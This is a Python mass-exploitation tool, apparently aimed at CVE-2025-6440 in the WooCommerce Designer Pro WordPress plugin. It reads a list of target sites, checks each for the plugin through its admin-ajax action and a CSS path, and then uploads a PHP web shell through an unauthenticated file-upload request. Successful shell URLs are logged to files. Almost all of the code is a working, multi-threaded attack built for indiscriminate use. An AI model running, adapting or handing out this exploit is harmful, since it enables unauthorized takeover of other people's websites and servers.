import threading
import requests
import time
import os
import sys
import urllib3
from rich.console import Console
from rich.text import Text
from rich.panel import Panel
from rich.progress import Progress, SpinnerColumn, BarColumn, TextColumn, TimeElapsedColumn
from rich.live import Live
from rich import box
from rich.align import Align
from rich.theme import Theme
from random import randint

# Updated theme: softer red and bolder, more attractive success styling
init_theme = Theme({
    "banner": "bold cyan",
    "author": "bold yellow",
    "usage": "bold green",
    "info": "bold magenta",
    "success": "bold white on green",  # Success more bold and attractive
    "error": "bright_black",           # Soft grayish red for errors
    "vuln": "bold yellow",
    "result": "bold white on green",
    "fail": "white on bright_black",
    "highlight": "bold blue",
    "progress": "bold magenta"
})
console = Console(theme=init_theme)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
os.environ['NO_PROXY'] = '*'

Nxploited_user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
Nxploited_success_file = "success_results.txt"
Nxploited_uploaded_shells_file = "uploaded_shells.txt"
Nxploited_shell_local_file = "shell.php"  # The local shell file to upload

def animated_banner():
    banner = """
                                                                                                                                         
 @@@@@@@  @@@  @@@  @@@@@@@@              @@@@@@    @@@@@@@@    @@@@@@   @@@@@@@               @@@@@@       @@@        @@@    @@@@@@@@   
@@@@@@@@  @@@  @@@  @@@@@@@@             @@@@@@@@  @@@@@@@@@@  @@@@@@@@  @@@@@@@              @@@@@@@      @@@@       @@@@   @@@@@@@@@@  
!@@       @@!  @@@  @@!                       @@@  @@!   @@@@       @@@  !@@                 !@@          @@!@!      @@!@!   @@!   @@@@  
!@!       !@!  @!@  !@!                      @!@   !@!  @!@!@      @!@   !@!                 !@!         !@!!@!     !@!!@!   !@!  @!@!@  
!@!       @!@  !@!  @!!!:!    @!@!@!@!@     !!@    @!@ @! !@!     !!@    !!@@!!   @!@!@!@!@  !!@@!@!    @!! @!!    @!! @!!   @!@ @! !@!  
!!!       !@!  !!!  !!!!!:    !!!@!@!!!    !!:     !@!!!  !!!    !!:     @!!@!!!  !!!@!@!!!  @!!@!!!!  !!!  !@!   !!!  !@!   !@!!!  !!!  
:!!       :!:  !!:  !!:                   !:!      !!:!   !!!   !:!          !:!             !:!  !:!  :!!:!:!!:  :!!:!:!!:  !!:!   !!!  
:!:        ::!!:!   :!:                  :!:       :!:    !:!  :!:           !:!             :!:  !:!  !:::!!:::  !:::!!:::  :!:    !:!  
 ::: :::    ::::     :: ::::             :: :::::  ::::::: ::  :: :::::  :::: ::             :::: :::       :::        :::   ::::::: ::  
 :: :: :     :      : :: ::              :: : :::   : : :  :   :: : :::  :: : :               :: : :        :::        :::    : : :  :   
                                                                                                                                         
    """
    info = "\n[highlight]Mass Exploits | Nxploited ( Khaled Alenazi )[/highlight]\n"
    for i, line in enumerate(banner.splitlines()):
        # Dynamic color for each line
        color = f"rgb({randint(90,255)},{randint(175,255)},{randint(175,255)})"
        console.print(Text(line, style=color))
        time.sleep(0.01)
    console.print(info)
    time.sleep(0.18)

def show_info_box():
    info_text = (
        "[author]Author:[/] Nxploited (Khaled Alenazi)\n"
        "[author]GitHub:[/] https://github.com/Nxploited\n"
        "[author]Telegram Channel:[/] @KNxploited\n"
        "[author]Telegram:[/] https://t.me/KNxploited"
    )
    console.print(Panel(info_text, box=box.ROUNDED, style="info", border_style="magenta"))

def show_usage_box():
    usage = (
        "[usage]Usage:[/]\n"
        "1. Put target URLs in [bold]list.txt[/], each on a new line.\n"
        "2. Put your shell file named [bold]shell.php[/] in the same folder.\n"
        "3. Run: [bold cyan]python Nxploited.py[/]\n"
        "4. Results will be saved in [bold]success_results.txt[/].\n"
        "5. For support, contact [bold magenta]@KNxploited[/] on Telegram."
    )
    console.print(Panel(usage, box=box.ROUNDED, style="usage", border_style="green"))

def wait_enter():
    console.print(Panel("[bold magenta]Press ENTER to start exploitation...[/bold magenta]", box=box.SQUARE, style="info"))
    input()

def Nxploited_internet_check():
    while True:
        try:
            requests.head("https://www.google.com", timeout=4)
            return True
        except Exception:
            console.print("[error]Internet disconnected. Waiting to resume...[/error]")
            time.sleep(5)

def Nxploited_parse_args():
    list_file = console.input("[bold yellow]Enter targets file name (e.g., list.txt):[/] ").strip()
    threads = console.input("[bold yellow]Enter number of threads (default 10):[/] ").strip()
    if not threads.isdigit() or int(threads) < 1:
        threads = 10
    else:
        threads = int(threads)
    return list_file, threads

def Nxploited_read_targets(filename):
    targets = []
    with open(filename, "r") as f:
        with Progress(
            SpinnerColumn(),
            TextColumn("[progress.description]{task.description}"),
            BarColumn(),
            TextColumn("{task.completed}/{task.total}"),
            TimeElapsedColumn(),
            transient=True,
            console=console
        ) as progress:
            task = progress.add_task("Loading targets", total=sum(1 for _ in open(filename)))
            f.seek(0)
            for line in f:
                url = line.strip()
                if url:
                    if not url.lower().startswith(('http://', 'https://')):
                        url = 'http://' + url
                    targets.append(url)
                progress.update(task, advance=1)
    return targets

def Nxploited_write_result(filename, target):
    with open(filename, "a") as f:
        f.write(f"{target}\n")

def Nxploited_error_short(msg):
    msg = str(msg)
    if "Failed to resolve" in msg or "getaddrinfo failed" in msg:
        return "NETWORK ERROR"
    if "SSLError" in msg or "SSLV3_ALERT_HANDSHAKE_FAILURE" in msg or "TLSV1_ALERT_INTERNAL_ERROR" in msg:
        return "SSL ERROR"
    if "Max retries exceeded" in msg or "Connection aborted" in msg or "RemoteDisconnected" in msg:
        return "CONNECTION ERROR"
    if "404" in msg:
        return "NOT FOUND"
    if "403" in msg:
        return "FORBIDDEN"
    if "415" in msg:
        return "UNSUPPORTED MEDIA"
    if "301" in msg:
        return "REDIRECT"
    if "200" in msg:
        return "NOT VULNERABLE"
    if "<html" in msg or "<!DOCTYPE html" in msg:
        return "UNEXPECTED HTML RESPONSE"
    return "NOT VULNERABLE"

def check_cond_ajax(target_url):
    try:
        resp = requests.post(
            f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php",
            data={"action": "wcdp_save_canvas_design_ajax"},
            headers={"User-Agent": Nxploited_user_agent},
            verify=False, timeout=10
        )
        if '{"userID":false,"filesCMYK":[],"success":0}' in resp.text.replace(" ", ""):
            return True, "Ajax"
        return False, resp.text[:120]
    except Exception as e:
        return False, str(e)

def check_cond_css(target_url):
    try:
        css_url = f"{target_url.rstrip('/')}/wp-content/plugins/wc-designer-pro/assets/css/wcdp-design.min.css"
        resp = requests.head(css_url, headers={"User-Agent": Nxploited_user_agent}, verify=False, timeout=10)
        if resp.status_code == 200:
            return True, "CSS"
        return False, f"HTTP/{resp.status_code}"
    except Exception as e:
        return False, str(e)

def print_success_box(target_url, shell_path):
    # Success box with bold white on green and a double border for extra attraction
    panel_text = f"\n[bold white on green]✔️ SHELL UPLOADED SUCCESSFULLY![/bold white on green]\n\n[bold blue]Target:[/] [bold white]{target_url}[/]\n[bold blue]Shell Path:[/] [bold white]{shell_path}[/]\n"
    console.print(Panel(panel_text, box=box.DOUBLE, style="success", border_style="bright_green"))

def send_exploit(target_url):
    # Make sure the shell.php file exists
    if not os.path.exists(Nxploited_shell_local_file):
        console.print(Panel(f"[error]Shell file '{Nxploited_shell_local_file}' not found![/error]", style="error"))
        return False, f"{Nxploited_shell_local_file} not found"
    files = {
        "file1": open(Nxploited_shell_local_file, "rb")
    }
    payload = {
        "action": "wcdp_save_canvas_design_ajax",
        "params": '{"mode":"save","editor":"frontend","uniq":"Nxploited","files":[{"name":"nxploited","ext":"php","count":"file1"}]}'
    }
    try:
        resp = requests.post(
            f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php",
            data=payload,
            files=files,
            headers={"User-Agent": Nxploited_user_agent},
            verify=False, timeout=20
        )
        files["file1"].close()
        res_txt = resp.text.replace(" ", "").replace("\n", "").lower()
        if '"success":true' in res_txt and "userid" in res_txt:
            shell_path = f"{target_url.rstrip('/')}/wp-content/uploads/wcdp-uploads/temp/Nxploited/nxploited.php"
            print_success_box(target_url, shell_path)
            Nxploited_write_result(Nxploited_success_file, f"{target_url} | {shell_path}")
            with open(Nxploited_uploaded_shells_file, "a") as shf:
                shf.write(f"{shell_path}\n")
            return True, shell_path
        return False, resp.text
    except Exception as e:
        try:
            files["file1"].close()
        except: pass
        return False, str(e)

def Nxploited_worker(thread_id, targets, progress_task=None, progress=None):
    for target in targets:
        Nxploited_internet_check()
        cond_met = False
        reasons = []
        cond1, msg1 = check_cond_ajax(target)
        if cond1:
            cond_met = True
            reasons.append("Ajax")
        cond2, msg2 = check_cond_css(target)
        if cond2:
            cond_met = True
            reasons.append("CSS")
        if not cond_met:
            msg1_short = Nxploited_error_short(msg1)
            msg2_short = Nxploited_error_short(msg2)
            console.print(Panel(
                f"{target}\n[bold yellow]Not vulnerable:[/] [bright_black][{msg1_short}, {msg2_short}][/]",
                box=box.ROUNDED, style="error", border_style="bright_black"
            ))
            if progress and progress_task is not None:
                progress.update(progress_task, advance=1)
            continue
        console.print(Panel(
            f"{target}\n[bold green]Vulnerable ({', '.join(reasons)})[/] - [yellow]Trying upload...[/]",
            box=box.ROUNDED, style="vuln", border_style="yellow"
        ))
        success, shell_path_or_resp = send_exploit(target)
        if not success:
            fail_msg = Nxploited_error_short(shell_path_or_resp)
            console.print(Panel(
                f"{target}\n[bold red]Exploit failed:[/] [bright_black]{fail_msg}[/]",
                box=box.ROUNDED, style="fail", border_style="bright_black"
            ))
        if progress and progress_task is not None:
            progress.update(progress_task, advance=1)

def Nxploited_chunkify(lst, n):
    return [lst[i::n] for i in range(n)]

def Nxploited():
    animated_banner()
    show_info_box()
    show_usage_box()
    wait_enter()
    list_file, num_threads = Nxploited_parse_args()
    targets = Nxploited_read_targets(list_file)
    console.print(Panel(
        f"Preparing threads...",
        box=box.ROUNDED, style="highlight", border_style="blue"
    ))
    time.sleep(0.5)
    target_chunks = Nxploited_chunkify(targets, num_threads)
    threads = []
    with Progress(
        SpinnerColumn(),
        TextColumn("[progress.description]{task.description}"),
        BarColumn(),
        TextColumn("{task.completed}/{task.total}"),
        TimeElapsedColumn(),
        console=console,
        transient=True
    ) as progress:
        total_targets = len(targets)
        progress_task = progress.add_task("[bold cyan]Exploiting targets...[/]", total=total_targets)
        # Assign chunks to threads
        for i in range(num_threads):
            th = threading.Thread(target=Nxploited_worker, args=(i, target_chunks[i], progress_task, progress))
            th.daemon = True
            th.start()
            threads.append(th)
        for th in threads:
            th.join()
    console.print(Panel(
        f"All targets processed. Check [bold green]success_results.txt[/] for successes.\nUploaded shells are saved in [bold green]{Nxploited_uploaded_shells_file}[/]",
        box=box.DOUBLE, style="highlight", border_style="cyan"
    ))

if __name__ == "__main__":
    Nxploited()